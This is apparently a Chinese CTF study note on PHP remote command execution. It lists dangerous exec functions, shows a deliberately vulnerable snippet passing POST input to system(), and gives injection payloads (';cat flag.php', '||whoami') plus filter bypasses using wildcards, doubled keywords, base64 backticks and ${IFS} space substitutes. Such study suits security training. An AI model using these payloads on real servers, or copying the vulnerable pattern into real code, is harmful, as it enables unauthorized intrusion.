目录
php代码执行
找不到包?
get包改post包
自定义函数
危险函数
php的命令执行(Linux命令执行)
php执行系统命令6种函数:
php命令执行利用
参数值可控:
整体可控:
变量拼接绕过关键字
符号过滤
过滤空格
字符串截取 空格
随记...杂
php代码执行
hackbar插件
信息泄露
php手册
phpstudy
<?php $a=$_get['a']; echo $a; ?> // <>外正常显示: echo '123456';
hackbar
post请求,
找不到包?
用那个插件,删去localhost, 访问时访问自己的内网地址.
get包改post包
右键change.
windows本机的服务 telnet.
不能同时发get和post的包. 包!!!
自定义函数
add函数,做拼接.
<?php function add($a,$b){retunrn $a+$b; } $a=$_POST['a']; $b=$_POST['b']; $c=add($a,$b); echo $c; ?>
危险函数
system函数
<?php $cmd=$_POST['cmd']; system($cmd); ?>//cmd=calc
php的命令执行(Linux命令执行)
远程命令执行 RCE
命令执行/代码执行
php执行系统命令6种函数:
system
passthru
exec
shell_exec
popen
pcntl_exec
执行运算符 `
windows---
calc bat vbs
Linux----
cat cp nc
--命令--黑窗口!!!
php命令执行利用
dir=;cat flag.php
ping -c 1 www.baidu.com
命令可控
参数
参数值
整体
--首先判断可控的位置,然后针对绕过.
参数值可控:
要url编码 && 并列执行. || 一个成功就结束.(短路) ; 先执行完前一条命令. &&tac flag.php
tac flag.php|| whoami
整体可控:
整体可控: 1-黑名单过滤 ccatat 双写 * (通配符) mv *.txt ./tmp ? (占位符) a?c.txt x?d.txt cmd=tac f*.php||ls tac 是倒着一行一行读.
cat 1.txt cat `echo '1.txt'` echo '1.txt'|base64 cat `echo '编码值'|base -d`
url编码注意什么时候用
变量拼接绕过关键字
符号过滤
过滤空格
tac<>flag ${IFS} $IFS$9 bash--> {cmd,args} %09 %0b %0c tac1fla?.php 1-128 bp快速爆破空格 % 两位数字 (url编码)
字符串截取 空格
cmd=env 读取环境变量 tac fla* tac${:12:1}fla* --拿取环境变量的空格去补